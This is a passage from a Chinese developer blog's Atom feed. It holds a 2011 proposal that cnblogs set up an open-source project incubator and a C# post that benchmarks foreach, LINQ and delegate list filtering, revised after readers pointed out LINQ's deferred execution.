#800000;"&gt;"&lt;/span&gt;].ToString();&lt;/div&gt;&lt;p&gt;剩下的工作接着做&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/jqbird/aggbug/2373304.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2012/02/29/2373304.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jqbird/archive/2011/11/16/2251171.html</id><title type="text">建议博客园成立中国的开源项目组织，同意的顶起</title><summary type="text">建议博客园成立中国的开源项目组织，园子里这么多大牛，更多技术爱好者和分享者，而且很多牛人也有自己的开源项目托管在googlecode,codeplex,sourceforge,github，或者自己的爱机里，如果博客园里能专门托管园子里大牛的开源项目不是更好吗，每年选取一两个优秀的项目应该就够了(在这里更正一下，不是源码托管站，是类似apache的孵化器组织)况且园子里也有很多优秀的专题小组，资源...</summary><published>2011-11-16T08:19:00Z</published><updated>2011-11-16T08:19:00Z</updated><author><name>叶鹏</name><uri>http://www.cnblogs.com/jqbird/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jqbird/archive/2011/11/16/2251171.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jqbird/archive/2011/11/16/2251171.html"/><content type="html">&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;建议博客园成立中国的开源项目组织，园子里这么多大牛，更多技术爱好者和分享者，而且很多牛人也有自己的开源项目托管在googlecode,codeplex,sourceforge,github，或者自己的爱机里，如果博客园里能专门托管园子里大牛的开源项目不是更好吗，每年选取一两个优秀的项目应该就够了(在这里更正一下，不是源码托管站，是类似apache的孵化器组织)况且园子里也有很多优秀的专题小组，资源要利用啊。如果有技术类商业公司赞助博客园的开源项目，既宣传了企业又推动了博客园发展，大家各取所需不也是很好吗？&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 当然让dudu做这个决定是艰难的，服务器要钱，人员要钱，所以要园友们共同支持，能孵化出中国自己的商业开源项目，哪怕是梦也要梦一下。作为长年泡在园子里的园友更希望博客园成为中国最好的技术社区，比那些广告满天飞的所谓的中国最大的技术社区更有影响力，事情是一件一件做出来的，估计dudu从来也没闲着，但是提出这个意见还是希望dudu做一个艰难的决定。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 做一件事情开始一定是艰难的，下面的批评都有道理，博客园不就是这样坚持下来的吗。但是相信dudu，也相信园友，很小的项目哪怕是个小blog,小cms，小工具，一粒种子很可能就会成为大树。况且中国暂时没发现有有影响力的开源组织，有不少个人开源项目站点和大量的垃圾源码站。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; 好吧，那还是让园友做这个艰难的决定了，同意的推荐一下，不同意的反对一下。&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; ps一下：有个人的开源或者准备开源的项目爆出来给dudu和园友看看&lt;/p&gt;&lt;img src="http://www.cnblogs.com/jqbird/aggbug/2251171.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/jqbird/archive/2011/11/16/2251171.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/jqbird/archive/2011/11/04/2235627.html</id><title type="text">C# foreach,linq,delegate集合查询的性能比较</title><summary type="text">昨天和别人讨论了一下linq的性能，自我觉得linq的性能不行，但是实际上linq还是在性能上有过人之处的，linq to sql除外，以下是简单的性能测试比较代码，在这里解释一下，代码的执行速度计时测试不能用datetime了，我还是个小白，刚开始用的datetime，结果发现linq的性能并不行，但是用StopWatch才发现了事实，以前对linq的偏见的同学还是拥抱一下linq吧，也许某些方面还存在没完全理解透，还请园友们给予批评指正。 class Program { static void Main(string[] args) { ...</summary><published>2011-11-04T01:13:00Z</published><updated>2011-11-04T01:13:00Z</updated><author><name>叶鹏</name><uri>http://www.cnblogs.com/jqbird/</uri></author><link rel="alternate" href="http://www.cnblogs.com/jqbird/archive/2011/11/04/2235627.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/jqbird/archive/2011/11/04/2235627.html"/><content type="html">&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 昨天和别人讨论了一下linq的性能，自我觉得linq的性能不行，但是实际上linq还是在性能上有过人之处的，linq to sql除外，以下是简单的性能测试比较代码，在这里解释一下，代码的执行速度计时测试不能用datetime了，我还是个小白，刚开始用的datetime，结果发现linq的性能并不行，但是用StopWatch才发现了事实，以前对linq的偏见的同学还是拥抱一下linq吧，也许某些方面还存在没完全理解透，还请园友们给予批评指正。&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;    &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt; Program&lt;br /&gt;    {&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;static&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; Main(&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt;[] args)&lt;br /&gt;        {&lt;br /&gt;            test();&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;       &lt;span style="color: #0000ff;"&gt;static&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; test()&lt;br /&gt;        {&lt;br /&gt;            List&amp;lt;MyClass&amp;gt; list1 = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; List&amp;lt;MyClass&amp;gt;();&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt; (&lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; i = &lt;span style="color: #800080;"&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style="color: #800080;"&gt;10000000&lt;/span&gt;; i++)&lt;br /&gt;            {&lt;br /&gt;                MyClass aa=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; MyClass();&lt;br /&gt;                aa.Name = &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;测试数据&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; + i;&lt;br /&gt;                aa.id = i;&lt;br /&gt;                list1.Add(aa);&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            Stopwatch timer = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Stopwatch();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#region&lt;/span&gt; for循环&lt;br /&gt;            timer.Start();&lt;br /&gt;            List&amp;lt;MyClass&amp;gt; list2 = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; List&amp;lt;MyClass&amp;gt;();&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;foreach&lt;/span&gt; (MyClass s &lt;span style="color: #0000ff;"&gt;in&lt;/span&gt; list1)&lt;br /&gt;            {&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (s.id &amp;gt;= &lt;span style="color: #800080;"&gt;52&lt;/span&gt; &amp;amp;&amp;amp; s.id &amp;lt; &lt;span style="color: #800080;"&gt;850&lt;/span&gt;) { list2.Add(s); }&lt;br /&gt;            }&lt;br /&gt;            timer.Stop();&lt;br /&gt;&lt;br /&gt;            Console.Write(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;集合匹配数&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; + list2.Count + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;，for循环耗时：&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;            Console.WriteLine(timer.Elapsed.Ticks);&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#endregion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#region&lt;/span&gt; linq&lt;br /&gt;            timer = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Stopwatch();&lt;br /&gt;            timer.Start();&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;var&lt;/span&gt; list3 = list1.Where(product =&amp;gt; product.id &amp;gt;= &lt;span style="color: #800080;"&gt;52&lt;/span&gt; &amp;amp;&amp;amp; product.id &amp;lt; &lt;span style="color: #800080;"&gt;850&lt;/span&gt;);&lt;br /&gt;            timer.Stop();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            Console.Write(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;集合匹配数&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; + list3.Count() + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;，linq耗时：&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;            Console.WriteLine(timer.Elapsed.Ticks);&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#endregion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#region&lt;/span&gt; delegate&lt;br /&gt;            timer = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Stopwatch();&lt;br /&gt;            timer.Start();&lt;br /&gt;            List&amp;lt;MyClass&amp;gt; list4 = list1.FindAll(&lt;span style="color: #0000ff;"&gt;delegate&lt;/span&gt;(MyClass post)&lt;br /&gt;            {&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; post.id &amp;gt;= &lt;span style="color: #800080;"&gt;52&lt;/span&gt; &amp;amp;&amp;amp; post.id &amp;lt; &lt;span style="color: #800080;"&gt;850&lt;/span&gt;;&lt;br /&gt;            });&lt;br /&gt;            timer.Stop();&lt;br /&gt;&lt;br /&gt;            Console.Write(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;集合匹配数&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; + list4.Count() + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;，delegate耗时：&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;            Console.WriteLine(timer.Elapsed.Ticks);&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#endregion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            Console.Read();  &lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt; MyClass&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; Name { &lt;span style="color: #0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color: #0000ff;"&gt;set&lt;/span&gt;; }&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; id { &lt;span style="color: #0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color: #0000ff;"&gt;set&lt;/span&gt;; }&lt;br /&gt;        }&lt;br /&gt;    }&lt;/div&gt;&lt;p&gt;测试的效果截图如下：&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2011/94489/2011110409002569.jpg" alt="" /&gt;&lt;/p&gt;&lt;p&gt;如果理解的不正确，还请大家批评一下，不能让错误的思想误人子弟&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;根据园友的批评指正，重新整理了一下代码，虽然是个简单的东西，但是对于新手批评比装懂好，对园友的细心指正不胜感激。&lt;/p&gt;&lt;p&gt;重新整理的代码如下：&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;" onclick="cnblogs_code_show('4d6581fa-5978-4e7b-a9fd-08b869e728b4')"&gt;&lt;div id="cnblogs_code_open_4d6581fa-5978-4e7b-a9fd-08b869e728b4" class="cnblogs_code_hide"&gt;  &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt; Program&lt;br /&gt;    {&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;static&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; Main(&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt;[] args)&lt;br /&gt;        {&lt;br /&gt;            test();&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;       &lt;span style="color: #0000ff;"&gt;static&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; test()&lt;br /&gt;        {&lt;br /&gt;            List&amp;lt;MyClass&amp;gt; list1 = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; List&amp;lt;MyClass&amp;gt;();&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt; (&lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; i = &lt;span style="color: #800080;"&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style="color: #800080;"&gt;10000000&lt;/span&gt;; i++)&lt;br /&gt;            {&lt;br /&gt;                MyClass aa=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; MyClass();&lt;br /&gt;                aa.Name = &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;测试数据&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; + i;&lt;br /&gt;                aa.id = i;&lt;br /&gt;                list1.Add(aa);&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            Stopwatch timer = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Stopwatch();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#region&lt;/span&gt; for循环&lt;br /&gt;            timer.Start();&lt;br /&gt;            List&amp;lt;MyClass&amp;gt; list2 = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; List&amp;lt;MyClass&amp;gt;();&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; count = &lt;span style="color: #800080;"&gt;0&lt;/span&gt;;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;foreach&lt;/span&gt; (MyClass s &lt;span style="color: #0000ff;"&gt;in&lt;/span&gt; list1)&lt;br /&gt;            {&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (s.id &amp;gt;= &lt;span style="color: #800080;"&gt;52&lt;/span&gt; &amp;amp;&amp;amp; s.id &amp;lt; &lt;span style="color: #800080;"&gt;850&lt;/span&gt;) { list2.Add(s); }&lt;br /&gt;            }&lt;br /&gt;            count = list2.Count;&lt;br /&gt;            timer.Stop();&lt;br /&gt;&lt;br /&gt;            Console.Write(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;集合匹配数&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; + count + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;，for循环耗时：&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;            Console.WriteLine(timer.Elapsed.Ticks);&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#endregion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#region&lt;/span&gt; linq&lt;br /&gt;            timer = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Stopwatch();&lt;br /&gt;            timer.Start();&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;var&lt;/span&gt; list3 = list1.Where(product =&amp;gt; product.id &amp;gt;= &lt;span style="color: #800080;"&gt;52&lt;/span&gt; &amp;amp;&amp;amp; product.id &amp;lt; &lt;span style="color: #800080;"&gt;850&lt;/span&gt;);&lt;br /&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;list1.Where(product =&amp;gt; product.id &amp;gt;= 52 &amp;amp;&amp;amp; product.id &amp;lt; 850).ToArray().Count();&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; count3 = list3.Count();&lt;br /&gt;            timer.Stop();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            Console.Write(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;集合匹配数&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; + count3 + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;，linq耗时：&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;            Console.WriteLine(timer.Elapsed.Ticks);&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#endregion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#region&lt;/span&gt; delegate&lt;br /&gt;            timer = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Stopwatch();&lt;br /&gt;            timer.Start();&lt;br /&gt;            List&amp;lt;MyClass&amp;gt; list4 = list1.FindAll(&lt;span style="color: #0000ff;"&gt;delegate&lt;/span&gt;(MyClass post)&lt;br /&gt;            {&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; post.id &amp;gt;= &lt;span style="color: #800080;"&gt;52&lt;/span&gt; &amp;amp;&amp;amp; post.id &amp;lt; &lt;span style="color: #800080;"&gt;850&lt;/span&gt;;&lt;br /&gt;            });&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; count4 = list4.Count();&lt;br /&gt;            timer.Stop();&lt;br /&gt;&lt;br /&gt;            Console.Write(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;集合匹配数&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; + count4 + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;，delegate耗时：&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;            Console.WriteLine(timer.Elapsed.Ticks);&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#endregion&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            Console.Read();  &lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt; MyClass&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; Name { &lt;span style="color: #0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color: #0000ff;"&gt;set&lt;/span&gt;; }&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; id { &lt;span style="color: #0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color: #0000ff;"&gt;set&lt;/span&gt;; }&lt;br /&gt;        }&lt;br /&gt;    }&lt;/div&gt;&lt;/div&gt;&lt;p&gt;测试截图&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2011/94489/2011110410235162.png" alt="" /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;第三次更新代码，这次没有先后顺序产生的问题了：&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;" onclick="cnblogs_code_show('7fb8ee9a-640c-4b99-b85d-985e1c6989a8')"&gt;&lt;div id="cnblogs_code_open_7fb8ee9a-640c-4b99-b85d-985e1c6989a8" class="cnblogs_code_hide"&gt;    &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt; Program&lt;br /&gt;    {&lt;br /&gt;       &lt;span style="color: #0000ff;"&gt;static&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; Main(&lt;span style="color: #0000ff;"&gt;string&lt;/span&gt;[] args)&lt;br /&gt;        {&lt;br /&gt;            List&amp;lt;MyClass&amp;gt; list1 = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; List&amp;lt;MyClass&amp;gt;();&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;for&lt;/span&gt; (&lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; i = &lt;span style="color: #800080;"&gt;0&lt;/span&gt;; i &amp;lt; &lt;span style="color: #800080;"&gt;10000000&lt;/span&gt;; i++)&lt;br /&gt;            {&lt;br /&gt;                MyClass aa = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; MyClass();&lt;br /&gt;                aa.Name = &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;测试数据&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; + i;&lt;br /&gt;                aa.id = i;&lt;br /&gt;                list1.Add(aa);&lt;br /&gt;            }&lt;br /&gt;&lt;br /&gt;            test_linq(list1);&lt;br /&gt;&lt;br /&gt;            test_foreach(list1);&lt;br /&gt;&lt;br /&gt;            test_delegate(list1);&lt;br /&gt;&lt;br /&gt;           &lt;br /&gt;            Console.Read();&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;       &lt;span style="color: #0000ff;"&gt;static&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; test_foreach(List&amp;lt;MyClass&amp;gt; list1)&lt;br /&gt;        {&lt;br /&gt;            Stopwatch timer = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Stopwatch();&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#region&lt;/span&gt; foreach循环&lt;br /&gt;            timer.Start();&lt;br /&gt;            List&amp;lt;MyClass&amp;gt; list2 = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; List&amp;lt;MyClass&amp;gt;();&lt;br /&gt;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; count = &lt;span style="color: #800080;"&gt;0&lt;/span&gt;;&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;foreach&lt;/span&gt; (MyClass s &lt;span style="color: #0000ff;"&gt;in&lt;/span&gt; list1)&lt;br /&gt;            {&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;if&lt;/span&gt; (s.id &amp;gt;= &lt;span style="color: #800080;"&gt;52&lt;/span&gt; &amp;amp;&amp;amp; s.id &amp;lt; &lt;span style="color: #800080;"&gt;850&lt;/span&gt;) { list2.Add(s); }&lt;br /&gt;            }&lt;br /&gt;            count = list2.Count;&lt;br /&gt;            timer.Stop();&lt;br /&gt;&lt;br /&gt;            Console.Write(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;集合匹配数&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; + count + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;，for循环耗时：&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;            Console.WriteLine(timer.Elapsed.Ticks);&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#endregion&lt;/span&gt;&lt;br /&gt;        }&lt;br /&gt;       &lt;span style="color: #0000ff;"&gt;static&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; test_linq(List&amp;lt;MyClass&amp;gt; list1)&lt;br /&gt;        {&lt;br /&gt;            Stopwatch timer = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Stopwatch();&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#region&lt;/span&gt; linq&lt;br /&gt;            timer = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Stopwatch();&lt;br /&gt;            timer.Start();&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;var&lt;/span&gt; list3 = list1.Where(product =&amp;gt; product.id &amp;gt;= &lt;span style="color: #800080;"&gt;52&lt;/span&gt; &amp;amp;&amp;amp; product.id &amp;lt; &lt;span style="color: #800080;"&gt;850&lt;/span&gt;);&lt;br /&gt;            &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;list1.Where(product =&amp;gt; product.id &amp;gt;= 52 &amp;amp;&amp;amp; product.id &amp;lt; 850).ToArray().Count();&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;            &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; count3 = list3.Count();&lt;br /&gt;            timer.Stop();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;            Console.Write(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;集合匹配数&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; + count3 + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;，linq耗时：&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;            Console.WriteLine(timer.Elapsed.Ticks);&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#endregion&lt;/span&gt;&lt;br /&gt;        }&lt;br /&gt;       &lt;span style="color: #0000ff;"&gt;static&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; test_delegate(List&amp;lt;MyClass&amp;gt; list1)&lt;br /&gt;        {&lt;br /&gt;            Stopwatch timer = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Stopwatch();&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#region&lt;/span&gt; delegate&lt;br /&gt;            timer = &lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; Stopwatch();&lt;br /&gt;            timer.Start();&lt;br /&gt;            List&amp;lt;MyClass&amp;gt; list4 = list1.FindAll(&lt;span style="color: #0000ff;"&gt;delegate&lt;/span&gt;(MyClass post)&lt;br /&gt;            {&lt;br /&gt;                &lt;span style="color: #0000ff;"&gt;return&lt;/span&gt; post.id &amp;gt;= &lt;span style="color: #800080;"&gt;52&lt;/span&gt; &amp;amp;&amp;amp; post.id &amp;lt; &lt;span style="color: #800080;"&gt;850&lt;/span&gt;;&lt;br /&gt;            });&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; count4 = list4.Count();&lt;br /&gt;            timer.Stop();&lt;br /&gt;&lt;br /&gt;            Console.Write(&lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;集合匹配数&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt; + count4 + &lt;span style="color: #800000;"&gt;"&lt;/span&gt;&lt;span style="color: #800000;"&gt;，delegate耗时：&lt;/span&gt;&lt;span style="color: #800000;"&gt;"&lt;/span&gt;);&lt;br /&gt;            Console.WriteLine(timer.Elapsed.Ticks);&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;#endregion&lt;/span&gt;&lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;        &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt; MyClass&lt;br /&gt;        {&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;string&lt;/span&gt; Name { &lt;span style="color: #0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color: #0000ff;"&gt;set&lt;/span&gt;; }&lt;br /&gt;            &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;int&lt;/span&gt; id { &lt;span style="color: #0000ff;"&gt;get&lt;/span&gt;; &lt;span style="color: #0000ff;"&gt;set&lt;/span&gt;; }&lt;br /&gt;        }&lt;br /&gt;    }&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2011/94489/2011110415511464.png" alt="" /&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2011/94489/2011110415523521.png" alt="" /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;看以上截图基本没什么大的变化&lt;/p&gt;&lt;p&gt;总结：没有认识linq在延时加载方面的处理，所以linq的count操作触发了linq的实际查询操作，也许还没有深入理解，但是总有一天会理解的&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;博客地址:&lt;a href="http://www.jqpress.com/post/43.aspx"&gt;http://www.jqpress.com/post/43.aspx&lt;/a&gt;&lt;/p&gt;&lt;script type="text/javascript"&gt;// &lt;![CDATA[google_ad_client = "ca-pub-2976783274616186";/* 博客园1 */google_ad_slot = "4211604936";google_ad_width = 728;google_ad_height = 90;// ]]&gt;&lt;/script&gt;&lt;script type="text/javascript" 